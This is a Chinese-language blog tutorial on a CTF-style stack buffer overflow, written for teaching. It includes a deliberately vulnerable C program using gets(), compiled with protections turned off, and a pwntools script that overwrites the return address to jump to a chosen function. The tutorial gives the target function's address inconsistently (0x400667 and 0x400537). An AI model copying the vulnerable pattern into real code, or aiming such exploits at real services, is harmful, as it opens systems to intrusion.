[資訊安全] 從毫無基礎開始 Pwn – Buffer Overflow 實作

Photo by ipet photo on Unsplash

上一篇文章「[資訊安全] 從毫無基礎開始 Pwn – 概念」一文中,提及構成 Pwn 危害的原理,以及現有的防護方式,該篇文章會延續探討此議題,也會帶入簡單的實作,從實作中驗證 CTF 最基本的題型,Buffer OverFlow 的概念。

環境建置

首先我的環境使用 Windows 底下的 WSL(Windows Subsystem for Linux),裝載是 Ubuntu,並且已經安裝 gcc(編譯含有弱點的 C/C++ 程式),接著還需要安裝 Python3、Pwntools、PEDA-gdb。

套件安裝

以 Ubuntu 為例子,可以透過以下指令直接安裝 Python3 與 Pwntools。

sudo apt-get update
sudo apt-get install python3 python3-dev python3-pip git
pip3 install --upgrade git+https://github.com/arthaud/python3-pwntools.git

PEDA 全名是 Python Exploit Development Assistance for GDB,其中彙整了一些常用的功能,也讓介面看起來更直觀一些,安裝方法如下。

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

程式碼

以下是該實驗的目標程式碼,含有 Buffer Overflow 的弱點。

#include <stdio.h>
void target(){
    printf("Oh No! Your Hacker.\n");
}
void uname(){
    char str[16];
    printf("input your name: \n");
    gets(str);
    printf("Hello, %s \n", str);
}
int main(){
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    uname();
    return 0;
}

補充:
添加下列兩行,可以清除暫存,若使用 ncat 將程式掛上 socket 則不會有延遲或沒有輸出的狀況。

setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);

編譯

編譯時需要注意,參數部分有加上 -fno-stack-protector,在上一篇文章中有提到,主要是關閉 Stack Canary 的防護機制,並且讓記憶體位置不隨機,來降低難度。

gcc demo.c -o demo -fno-stack-protector -no-pie

編譯完成後可以使用 checksec 指令查看防護機制的啟動狀態(需要安裝 Pwntools)。

開始實作

首先在開始之前,些列出需要知道的一些資訊。

  1. Function Address(target Function)
  2. input 到 ret 的長度

Function Address

要知道 Function Address 才知道蓋到 ret 後要去什麼地方,這邊提供兩種方法可以查詢各 Function 的位置。

GDB disam

首先可以透過 gdb <binary> 來執行 Debug Mode,例如 gdb demo,接著輸入 disas target,隨即輸出該 Function 的反組譯內容,並且標出該 Function 的記憶體開始處 0x0000000000400667

objdump

objdump 是我比較常用的工具之一,可以快速查看該隻程式中的組合語言,但需要輸入的指令較為沉長。

objdump -M intel -d <binary>

實際使用

objdump -M intel -d demo | less

其中的 -M 可以選擇他要反組譯的模式,預設為 AT&T,但基於大眾使用習慣,都會把他改成 intel,接著 -d 隨後接著是 binary 檔案,之後餵給 less 方便瀏覽。

input 到 ret 的長度

現在知道目標位置,剩下的就是要怎麼剛好蓋到 ret address 的位置,其方式並不少,可以透過 GDB 實際觀察。

一樣透過 gdb demo 的方式,進入 Debug Mode,隨即使用 r(run) 將程式運行起來。

由於該題目的 buffer 的字串長度只有設置 16 char,相當的小,所以 Payload 輸入 a-z 即可解決。

input your name: abcdefghijklnmopqrstuvwxyz

結果噴了 Segmentation fault.,該階段可以確認的是已經造成 Buffer Overflow 。

看了一下 RBP 的狀態('qrstuvwx'),隨後的 yz 被 RIP 吃掉了,所以目前 RIP 的值為 0x7fffff007a7c,其中的 7a7c 就是 yz,這是個好消息,這代表我們已經接觸到了 RIP,只要有辦法把他變成 target 的 address(0x0000000000400537)即可,藉此可知只要 24 個 char 之後蓋到的就是 ret address 位置。

Pwntools

在上頭跟各位介紹了一個工具 Pwntools,主要是被設計用來打 Pwn 的工具,以 Python 開發,有分成 Python2、3 兩個版本,其中要注意的是 Python3 的字串會是 Byte 的形式。

起手式如下:

from pwn import *
r = process('./app')
r = remote('IP', 'Port')
r.interactive()

Pwntools 可以提供兩種模式,執行本地端執行檔,或是 remote 到遠端的應用程式上互動,隨後接上 r.interactive() 可以進入交互模式,以上的程式碼執行起來,就跟直接執行 binary 執行檔沒兩樣,試著執行以下程式碼比較。

from pwn import *
r = process('./demo')
r.interactive()

由於目前是需要藉由 Pwntools 遞送 Payload,以蓋 Stack 並竄改 ret address 的值,透過 recvuntil() Function 來接收到特定的字串,例如程式開頭會詢問的「input your name:」,接著送出 Payload,可以寫成以下的形式。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
r = process('./demo')
r.recvuntil('input your name:')
targer_address = p64(0x400667)
r.sendline(b'A' * 24 + targer_address)
r.interactive()

執行結果:

AIS3-2019 「Welcome BOF」

若各位有參加 AIS3-Pre-exam-2019 的話,其中一題 Welcome BOF 的解法就如同上方所提到的解法,有興趣可以看 Write-up

遇到困難

由於對 C 語言知識的缺乏,雖然題目難度不高,但還是花了不少時間在 C 上,其中由於 target 該 Function 輸出的字串沒有包含換行,送出 Payload 之後,確認有執行到 target Function 但卻沒有輸出設定好的字串「Oh No! Your Hacker.」。

解決方法: 在 target Function 上的 printf() 字串尾端加上 \n 換行符號,具體原因不知道,但補上重新編譯就有輸出了。

備註

如果要使用 ncat 將程式架上 socket 可以使用以下指令。

ncat -vc $binary -kl $ip $port

連線方法:

nc $ip $port

發佈留言

這個網站採用 Akismet 服務減少垃圾留言。進一步瞭解 Akismet 如何處理網站訪客的留言資料